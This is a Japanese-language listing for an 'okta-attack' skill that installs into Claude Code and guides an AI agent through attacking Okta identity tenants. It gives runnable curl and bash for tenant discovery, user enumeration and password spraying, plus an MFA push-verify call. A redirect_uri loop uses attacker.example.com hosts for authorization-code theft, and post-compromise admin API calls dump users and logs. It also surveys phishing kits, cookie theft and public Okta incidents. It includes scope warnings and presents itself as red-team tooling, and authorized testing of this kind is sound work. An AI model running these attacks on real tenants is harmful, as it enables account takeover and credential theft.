okta-attack

Name: okta-attack
Author: uphiago

github.com/uphiagoセキュリティ1.3k40 回インストール8 週間前に更新

リポジトリ

okta-attack について

okta-attackは、Oktaを使うアイデンティティシステムのセキュリティテスト用スキルです。テナントの特定、認証フローと要素の分析、OIDC・SAMLや認証情報侵害後の確認を扱います。

主な機能

01Oktaテナントの特定
02認証フローと要素の分析
03慎重なパスワードスプレーの指針
04OIDCリダイレクトURIの検査
05SAMLと管理APIの検査

活用シーン

01組織のOktaテナントの把握
02MFA要素の露出状況の確認
03OIDCまたはSAML設定のテスト

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill okta-attack

インストール後、Claude Code で/okta-attackを入力して読み込まれたか確認します。

詳細

このスキルを使用する場面

次の場合に使用します：

DNS に <tenant>.okta.com または <tenant>.okta-emea.com（EMEA リージョン）が表示される
ログインフローが <tenant>.okta.com/login または /app/<app_id>/sso/saml にリダイレクトされる
Web ページに /signin/customize、oktapreview.com、または auth-js-sdk が記載されている
調査メモに「SSO に Okta を使用」とある
対象の TLS 証明書に *.okta.com の SAN がある
ID ファブリックのマッピングで、企業アプリの IdP として Okta が返される

次の場合は使用しないでください：

Entra ID（代わりに m365-entra-attack を使用）
Google Workspace（代わりに google-workspace-attack を使用 — まだ構築されていません）
ADFS（異なるプロトコル、オンプレミス）

テナントの検出

直接推測

# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
  for region in okta okta-emea oktapreview; do
    host="$tenant.$region.com"
    code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 --connect-timeout 8 "https://$host/")
    [ "$code" != "404" ] && [ "$code" != "000" ] && echo "  $host  $code"
  done
done

DNS からの相互参照

# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
# Generate patterns list
cat > /tmp/okta_patterns.txt << 'EOF'
sso.client.example
login.client.example
auth.client.example
okta.client.example
sso.client-ltd.example
login.client-ltd.example
auth.client-ltd.example
okta.client-ltd.example
EOF

# Batch resolve with dnsx (concurrent, faster)
dnsx -silent -l /tmp/okta_patterns.txt -cname -resp-only

アプリの HTTP フローからの相互参照

# Visit corporate-app login, follow redirects
curl --max-time 30 --connect-timeout 10 -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant

ユーザー列挙

方法 1 — `/api/v1/authn` の差分

認証 API は、無効なユーザーと無効なパスワードで異なるエラーを返します。わずかな差分があります。

# Probe single user — DON'T spray, this counts as auth attempt!
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<email>","password":"_test_invalid_pw"}'

# Response codes:
#   401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
#   401 + "errorCode":"E0000119" → account locked
#   200 → MFA prompt (cred VALID, MFA needed)
#   200 + "status":"SUCCESS" → full auth (rare in modern setups)

⚠ Okta は /api/v1/authn を介した直接的なユーザー存在確認の列挙への対策を強化しており、通常、エラーメッセージは一律の「Authentication failed」です。2024 年以降、このエンドポイントによるユーザー列挙は信頼性がありません。

方法 2 — `/api/v1/users/me/factors` の応答時間

一部のフローでは、応答時間の差からユーザーの存在が分かることがあります。M365 OneDrive の手法より信頼性は低いです。

方法 3 — サインインウィジェットの JS エンドポイント

curl --max-time 30 --connect-timeout 10 -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
  -H "Accept: application/json"
# Response varies by tenant config

方法 4 — 組織固有の識別子のプロービング

一部の Okta 組織ではユーザー名にメールアドレスを使用し、ほかでは firstname.lastname や従業員 ID を使用します。次のパターンを推測して試します：

[email protected]
[email protected]  
[email protected]
[email protected]

方法 5 — login_hint を指定した OIDC `/v1/authorize`

# Tampering with login_hint param can reveal user existence on some configs
curl --max-time 30 --connect-timeout 10 -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# Different redirect → user exists vs doesn't

認証フローの分析（必ず最初に実施）

# Initial auth — observe what factors come back
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.tool

応答の構造から要素の設定が分かります：

{
  "stateToken": "00ABC...",
  "factorResult": "WAITING",
  "status": "MFA_REQUIRED",
  "_embedded": {
    "factors": [
      {"factorType": "push", "provider": "OKTA"},
      {"factorType": "token:software:totp", "provider": "OKTA"},
      {"factorType": "sms", "provider": "OKTA"},
      {"factorType": "call", "provider": "OKTA"},
      {"factorType": "email", "provider": "OKTA"},
      {"factorType": "question", "provider": "OKTA"},
      {"factorType": "webauthn", "provider": "FIDO"}
    ]
  }
}

重要なポイント： 要素の一覧から利用可能な要素が分かります。フィッシング耐性には大きな差があります：

webauthn（FIDO2）— フィッシング耐性あり
question（セキュリティ質問）— 非常に脆弱。KBA 攻撃の対象
sms / call — フィッシング可能（プッシュ通知疲労攻撃、SIM スワップ）
push — MFA 疲労攻撃によるフィッシングが可能
email — 攻撃者がメールを読める場合、フィッシング可能
totp — AiTM によるフィッシングが可能

パスワードスプレー（Okta 固有のロックアウト対策を徹底）

ロックアウトポリシー

Okta のデフォルト設定：サインイン失敗 10 回 → ロックアウト（組織ごとに設定可能）。組織によっては、より厳しい設定（失敗 3 回）にしている場合もあります。

対策：

エンゲージメントごとにユーザーあたり生涯 ≤2 回の試行（Okta のロックアウトは失敗 3 回の場合もあるため、Entra での 1 回より安全です）
ユーザーごとにアトミック状態ファイルで追跡する
最初の有効な結果が得られた時点、または LOCKED 率がしきい値を超えた時点で停止する

スプレーエンドポイント

# Same /api/v1/authn — see authentication flow above

注意すべきステータスコード

応答	意味
`200 status=MFA_REQUIRED`	パスワードは有効 — MFA チャレンジ待機中
`200 status=SUCCESS + sessionToken`	認証完了（このユーザーに MFA が要求されない場合のみ）
`200 status=PASSWORD_EXPIRED`	パスワードは有効ですが、ユーザーは変更する必要があります
`200 status=LOCKED_OUT`	アカウントがロックされています（事前にロックされていたか、こちらの操作が原因）
`401 E0000004`	認証に失敗しました（ユーザーが存在しない、またはパスワードが誤っている — Okta は区別しません）
`401 E0000119`	ユーザーはロックされています
`429`	レート制限に達しました

プッシュ通知疲労攻撃（MFA ボミング）

有効なパスワードを取得し、push 要素が利用可能な場合の典型的な攻撃は、ユーザーが疲れて承認するまでプッシュ要素を連続して送信することです。

⚠ 多くのレッドチームエンゲージメントでは範囲外です（ソーシャルエンジニアリング／フィッシングに該当します。たとえば、許可されたエンゲージメントではフィッシングが明示的に範囲外でした）。ベクトルの存在を記録しますが、明示的な承認なしに実行してはいけません。

検出のみの確認（対象で許可されているか？）

# Initiate factor verification
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
  -H "Content-Type: application/json" \
  -d '{"stateToken":"<from_authn>"}'

# A real test would loop this — DON'T do that without explicit OK

OIDC redirect_uri の改ざん

Okta の OIDC アプリでは、許可された redirect_uri の一覧が設定されていることがよくあります。設定ミスの例：

# Get the app's authorize endpoint
curl --max-time 30 --connect-timeout 10 -sk "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool

# Test redirect_uri injection
for ruri in \
    "https://attacker.example.com/" \
    "https://target.com.attacker.com/" \
    "https://[email protected]/" \
    "https://target.com#@attacker.com/" \
    "https://target.com\\@attacker.com/" \
    "//attacker.com/" \
    "https://target.com/cb?next=https://attacker.com/"; do
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" \
    "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
  echo "  $ruri → $code"
done
# Any 302 with the attacker URL in Location header = open redirect → auth-code theft chain

SAML SP 設定ミスの確認（アプリごと）

Okta の SAML アプリには、それぞれ独自の SP メタデータがあります：

# Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)
curl --max-time 30 --connect-timeout 10 -sk "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"

# Look for:
#   AuthnRequestsSigned="false"  ← see hunt-saml for XSW
#   WantAssertionsSigned="false" ← assertion-replay possible
#   <NameIDFormat>...emailAddress</NameIDFormat>

Okta Admin API（認証情報侵害後）

有効な認証情報と MFA 完了済みトークンを取得した場合：

# Get session token
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -d '{"username":"...","password":"..."}'
# → if SUCCESS, response has sessionToken

# Exchange for API token (admin only)
# Test admin endpoints (all require valid SSWS token):
curl --max-time 30 --connect-timeout 10 -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/users"
curl --max-time 30 --connect-timeout 10 -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/groups"
curl --max-time 30 --connect-timeout 10 -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/apps"
curl --max-time 30 --connect-timeout 10 -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/logs"      # audit log

Okta固有のフィッシングキット（参考情報 — フィッシングを含まないエンゲージメントでは対象外）

EvilProxy — Okta対応のAiTMキット
Modlishka — 汎用AiTM
Evilginx2 — Okta用フィッシュレットを搭載

存在を記録してください。明示的にフィッシングがスコープに含まれていない限り、展開しないでください。

FastPass／Okta Verifyの悪用

Okta FastPassはプッシュベースで、デバイスに紐づいています。回避手法：

デバイス信頼の偽装（キットとエンドポイントの侵害が必要 — 内部環境のみ）
プッシュ疲労攻撃（上記を参照）
フィッシングから偽のFastPassプロンプトへリダイレクト

よくあるOktaテナントの設定パターン

指標	設定
`<tenant>.okta.com/api/v1/iam/orgs` が404ではなく401を返す	API IAMエンドポイントが有効 — 管理者向けの攻撃対象領域
`customize/sign-in` ページに匿名でアクセスできる	テナントのブランドカスタマイズが公開されている — 有用な情報
複数の `*.okta.com` SAN証明書	マルチテナント組織（一般的ではない）
`oktapreview.com` のサブドメイン	プレビュー／サンドボックステナント — 通常はセキュリティが弱い

ツール

OktaTerrify（github.com/silverhack/OktaTerrify）— 侵害後のOktaデバイス信頼／FastPassの列挙。検証可能な公開Okta専用の攻撃用コマンドラインツールとして唯一のものです。ほかに、名称が確認でき、保守されている「okta-attacker」／「okta-toolkit」ユーティリティはありません。未検証のコマンドラインツール名を挙げるのではなく、/api/v1/* を対象にエンゲージメント固有のスクリプトを作成してください。

アンチパターン

OktaにEntra方式のスプレー攻撃のペースを適用しないでください — Oktaの自動化対策は調整が異なり、レート制限により早く到達します
要素の列挙を省略しないでください — スプレー攻撃を試みる前に要素の一覧を把握しておくことで、現実的な脅威モデルを検討できます
MFA疲労攻撃がスコープに含まれていると決めつけないでください — これはソーシャルエンジニアリングです。明示的な許可が必要です
*.oktapreview.com を本番環境と混同しないでください — プレビューは非本番テナントであり、発見事項の重大度も異なります

アンチパターン：2024年以降のOktaユーザー列挙

2022年までに公開されたいくつかの手法（例：/api/v1/authn の応答差異を利用するエラー）は、対策が強化されています。古い知識に頼らず、エンゲージメントごとに次の方法で列挙手法が現在も有効か確認してください。

実在が確認できているユーザー名を1つテストする（到達可能であれば info@<domain> など）
実在しないことが確認できているユーザー名を1つテストする
応答をバイト単位で、また応答時間も比較する

応答が同一であれば、この手法は対策済みです。OneDrive相当の手法、または別のアプローチに切り替えてください。

公開事例／CVE／協調的な脆弱性開示に関する記事

これらは、このスキルの手法を裏付ける代表的な公開資料です。該当する場合はレポートで引用し、新たなOkta攻撃チェーンのスコープを定める際の類似事例として使用してください。

1. Okta + Sitel/Sykes — LAPSUS$ のサプライチェーン侵害（2022年1月、2022年3月に公表）

参考資料：https://sec.okta.com/articles/2022/03/official-okta-statement-lapsus-claims/、https://www.okta.com/blog/company-and-culture/oktas-investigation-of-the-january-2022-compromise/、https://thehackernews.com/2022/03/new-report-on-okta-hack-reveals-entire.html、https://www.itpro.com/security/cyber-security/367236/leaked-mandiant-report-okta-breach-lapsus-operation
攻撃の流れ：LAPSUS$ は、Sitel（Sykes Enterprises を買収したサードパーティーのサポート業務委託先）のサポートエンジニアのワークステーションを侵害しました。シンクライアントの踏み台ホスト上で Mimikatz と GitHub にホストされたツールを使用し、2022年1月21日に約25分間、Okta の内部「SuperUser」サポートツールにアクセスしました。最終的な影響範囲は、当初懸念されていた366テナントのうち、アクセスされた顧客テナントは2つでした。
根本原因：サードパーティーのサポートプロバイダーが顧客テナントへの永続的な特権アクセス権を持っていたこと、セグメンテーションが不十分だったこと、ドメイン認証情報がスプレッドシートに保存されていたこと、インバウンド VPN アカウントで MFA が設定されていなかったこと、報告が遅れたこと（Mandiant の報告は3月17日、LAPSUS$ がスクリーンショットをツイートした後の3月22日にようやく公表）。
年：2022年。深刻度：重大（業界を揺るがす事件 — IdP サプライチェーンの信頼モデルを一新しました）。

2. Okta のカスタマーサポート HAR ファイル漏洩（2023年9〜10月）

参考資料：https://sec.okta.com/articles/2023/11/unauthorized-access-oktas-support-case-management-system-root-cause/、https://blog.cloudflare.com/how-cloudflare-mitigated-yet-another-okta-compromise/、https://www.beyondtrust.com/blog/entry/okta-support-unit-breach、https://www.bleepingcomputer.com/news/security/okta-breach-134-customers-exposed-in-october-support-system-hack/
攻撃の流れ：Okta のサポート担当者が会社支給のノート PC で個人の Google プロファイルにログインし、Chrome の同期によって保存済みのサポートサービスアカウントの認証情報が侵害された個人用デバイスに流出しました。脅威アクターはその認証情報を使って2023年9月28日から10月17日までサポートケース管理ポータルにログインし、顧客がトラブルシューティングのためにアップロードした HAR ファイルをダウンロードしました。HAR ファイルには有効なセッション Cookie／トークンが含まれていたため、顧客の Okta テナントに対してセッションリプレイが行われました。134社の顧客が影響を受け、5社でセッションがハイジャックされました（BeyondTrust、Cloudflare、1Password が公表）。
根本原因：Chrome プロファイルの同期を通じてサービスアカウントの認証情報が管理対象外の個人用デバイスに届いたこと、サニタイズされていないセッショントークンを含む HAR ファイルが、リプレイ可能な状態で受け付けられていたこと（サポートトークンに IP／デバイスのバインディングがありませんでした）。
年：2023年。深刻度：重大。BeyondTrust は2023年10月2日に侵害を検知して Okta に報告しましたが、Okta が公表したのは10月19日でした。

3. Scattered Spider / Octo Tempest / UNC3944 — Okta テナントへのソーシャルエンジニアリング攻撃（2022〜2024年、継続中）

参考資料：https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a、https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection/、https://www.darkreading.com/cyberattacks-data-breaches/how-the-okta-cross-tenant-impersonation-attacks-succeeded、https://attack.mitre.org/groups/G1015/
攻撃の流れ：グループは従業員になりすまして IT ヘルプデスクに電話し（LinkedIn プロフィールから入手した身元情報を利用）、MFA のリセットとパスワードのリセットを要求して、Okta への最初の足掛かりを得ます。その後、Okta のスーパー管理者権限に昇格し、攻撃者が管理する2つ目の IdP を設定して、インバウンドフェデレーションとアカウントリンクを有効にします。さらに、攻撃者の IdP の NameID を標的ユーザーと一致するように変更し、認証情報を使わずにテナント内のあらゆる Okta ユーザーになりすまします。この手法は MGM および Caesars への攻撃（2023年9月、損失は1億ドル超）で使われ、2023年7〜8月の攻撃では4社以上の Okta 顧客で確認されました。
根本原因：帯域外での本人確認を行わず、ヘルプデスクを信頼の起点としていたこと、および攻撃者が管理する IdP からの任意の NameID を含むアサーションを正規のものとして受け入れる Okta のインバウンドフェデレーション機能。
年：2023年以降。深刻度：重大。CISA／FBI 共同勧告 AA23-320A。

4. Okta のクロスオリジン認証を利用したクレデンシャルスタッフィング（2024年4～5月）

参考資料：https://sec.okta.com/articles/2024/05/detecting-cross-origin-authentication-credential-stuffing-attacks/、https://thehackernews.com/2024/05/okta-warns-of-credential-stuffing.html、https://arcticwolf.com/resources/blog/okta-cross-origin-authentication-feature-customer-identity-cloud-targeted-credential-stuffing-attacks/
攻撃の流れ：Customer Identity Cloud（Auth0 をベースとする）のクロスオリジン認証エンドポイントが、登録されていないオリジンからのクレデンシャルスタッフィングを、気付かれないまま受け入れていました。2024年4月15日から5月にかけて確認されました。テナントログのシグナル：fcoa（クロスオリジン認証の失敗）、scoa（クロスオリジン認証の成功）、pwd_leak（漏えいしたパスワードとの一致）。
根本原因：認証 API のエッジでオリジンの許可リストが適用されず、すべてのテナントでクロスオリジン認証がデフォルトで許可されていました。また、クレデンシャルスタッフィングのスロットリングは、テナント単位ではなくエンドポイント単位で適用されていました。
年：2024年。深刻度：高（再利用された認証情報を用いた大規模なアカウント乗っ取り）。

5. CVE-2024-0981 — Okta AD/LDAP DelAuth の bcrypt キャッシュキーによる認証バイパス（2024年10月）

参考資料：https://trust.okta.com/security-advisories/okta-ad-ldap-delegated-authentication-username/、https://www.theregister.com/2024/11/04/why_the_long_name_okta/、https://www.nodejs-security.com/blog/okta-bcrypt-security-incident-bun-nodejs
攻撃の流れ：Okta は、bcrypt(userId + username + password) をキーとして AD/LDAP DelAuth の結果をキャッシュしていました。Bcrypt は入力を72バイトで黙って切り捨てます。ユーザー名が52文字以上の場合、パスワードのバイト列が72バイトの境界を超えるため、キャッシュキーがパスワードに依存しなくなります。ユーザーが以前にログインに成功していて（キャッシュが存在する）、かつ AD/LDAP エージェントに到達できず、さらに MFA が無効になっている場合、どのパスワードでも認証されます。
根本原因：アルゴリズムの72バイトの入力制限を考慮せずに bcrypt を汎用ハッシュとして使用していたことに加え、キャッシュへのフォールバック経路によってセキュリティモデルが逆転していました（ライブ認証よりキャッシュを信頼）。
年：2024年。深刻度：高。このバグは2024年7月23日に混入し、社内で発見されて2024年10月30日に修正されました（約3か月間の露出）。

6. Okta Verify iOS のプッシュ応答バイパス（CVE-2024-10327、2024年10月開示）

参考資料：https://trust.okta.com/security-advisories/okta-verify-for-ios-cve-2024-10327/
攻撃の流れ：Okta Verify iOS 9.25.1-beta / 9.27.0 には、iOS ContextExtension のプッシュアクションハンドラーにバグがありました。ロック画面での長押し／バナーの下方向へのドラッグ／Apple Watch からの返信という操作経路では、「はい、本人です」と「いいえ、本人ではありません」の両方のボタンが、同じ認証承認応答を返していました。プッシュ通知に疲弊したユーザーが明示的に「いいえ」をタップしても、認証が承認されてしまいます。
根本原因：2つの通知応答アクションハンドラーが同じバックエンド確認経路に接続されており、UX レベルでの拒否がバックエンドの拒否として反映されませんでした。
年：2024年。深刻度：高（プッシュ疲労／Scattered Spider 型のプッシュ爆撃に対するユーザーの最後の防衛線を、気付かれないまま無効化）。

7. Varonis Threat Labs — Okta の悪用「CrossTalk」と「Secret Agent」（2023年1月）

参考資料：https://www.varonis.com/blog/okta-attack-vectors
攻撃の流れ：（a）CrossTalk：Okta テナントの管理者（無料の開発者テナントを含む）は、あらゆるメールアドレス／電話番号に届く SMS／メールテンプレートを送信できました。送信には正規の Okta メーラーインフラが使われるため、okta.com の SPF/DKIM/DMARC を通過します。信頼されている送信者から届く、テナントをまたいだフィッシングの仕込みに利用されました。（b）Secret Agent：オンプレミスの Okta AD エージェント同期サーバーに保存された SSWS トークンは、ディスクから復号できました。これを入手した者は不正な AD エージェントを登録し、組織全体の DelAuth の平文認証情報を傍受できました。
根本原因：（a）送信通知 API で、送信者 ID がテナント内に制限されていることが確認されていませんでした。（b）エージェントの SSWS ブートストラップシークレットが、復元可能な状態でディスクに保存されており、新しいエージェントの登録に管理者による追加承認は必要ありませんでした。
年：2023年。深刻度：どちらも高。Okta によって開示され、修正されました。

8. 情報窃取マルウェアによる Okta 管理コンソールのセッションクッキー窃取（2022～2024年、現在も続く攻撃類型）

参考資料：https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection/、https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a、https://www.beyondtrust.com/blog/entry/okta-support-unit-breach
手口：攻撃類型 — 企業のエンドポイント上の情報窃取マルウェア（Lumma、RedLine、Raccoon、StealC）が、<tenant>.okta.com と <tenant>-admin.okta.com の sid クッキーを外部へ流出させます。Okta セッションで IP バインディングまたはデバイスバインディングが設定されていない場合、攻撃者は住宅用プロキシからクッキーを再利用し、ユーザーのセッション全体（被害者が管理者の場合は管理者セッションを含む）を取得します。MFA は完全に回避されます（MFA 認証がすでに完了したセッションであるためです）。2023年10月の HAR ファイルを介したインシデントと、Scattered Spider による侵入の大半の背景にも、この手口があります。
根本原因：Okta のセッションクッキーは（DPoP／デバイスバウンドセッションクッキー／非対称セッションキーが適用されるまでは）ベアラートークンです。つまり、クッキーを所持する者は誰でもそのユーザーになりすませます。
年：2022～2024年（現在も続く攻撃類型）。深刻度：管理者セッションが窃取された場合は重大です。

ハンター向けの要点

2022年の LAPSUS$、2023年の HAR ファイルを介した攻撃、2023年の Scattered Spider の攻撃キャンペーンには共通のパターンがあります。攻撃の標的となるのは、Okta の製品コードではなく、Okta を取り巻く信頼関係です（サードパーティのサポート、ヘルプデスクの本人確認、顧客がアップロードしたファイル、フェデレーション IdP）。偵察では、まずこれらの信頼関係を洗い出してください。
CVE-2024-0981（bcrypt の72バイト切り捨て）は、Okta 製品そのものに関するまれな CVE です。公開されている Okta の不具合の大半は、設定または運用に関するものです。
プッシュ疲労攻撃は、単なるソーシャルエンジニアリングではありません。Okta Verify の iOS バグは、プラットフォーム自体が拒否されたプッシュをひそかに承認する可能性を示しています。2024年以降は、Okta のプッシュ認証要素をすべて回避可能なものとして扱ってください。
レッドチームのスコープ設定では、実環境で確認された、偵察後の成功率が最も高いプリミティブは、HAR ファイルの再利用、インバウンドフェデレーションへの IdP の挿入、情報窃取マルウェアで盗んだクッキーの再利用の3つです。

検証

Okta テナントの検出 — Okta の URL パターンを確認します：

echo "https://company.okta.com" | grep -q "okta.com" && echo "PASS: Okta URL recognized" || echo "FAIL"
echo "https://company.oktapreview.com" | grep -q "oktapreview" && echo "PASS: Okta Preview recognized" || echo "FAIL"

すべてのテストで、Okta 攻撃への準備状況を確認します。

注意点

影響を伴わない Okta テナントの特定 — Okta 組織の URL を知ることは偵察にあたります。影響を主張するには、フィッシング、認証情報のテスト、または設定ミスを実証する必要があります。
ソースコード内の Okta API キー — Okta API トークンには、特定のスコープが設定されています。影響を主張する前に、正確なスコープを記録してください。
Okta レベルの SAML／OIDC の設定ミス — Okta が IdP の場合、そこでの設定ミスはすべての下流アプリに影響します。これはアプリごとの設定ミスよりも影響が大きい問題です。
Okta Verify の回避 — Okta FastPass とデバイス信頼ポリシーには、特定の回避手法（検証なしのデバイス登録）があります。これらを個別にテストしてください。
Okta Classic と OIE の違い — Okta Identity Engine は、Okta Classic とは異なるポリシーと回避手法を備えています。テストの前に、組織の種類を特定してください。

基本情報

作者: uphiago
リポジトリ: uphiago/recon-skills
カテゴリ: セキュリティ
インストール数: 40
GitHub スター: 1,319

問題を報告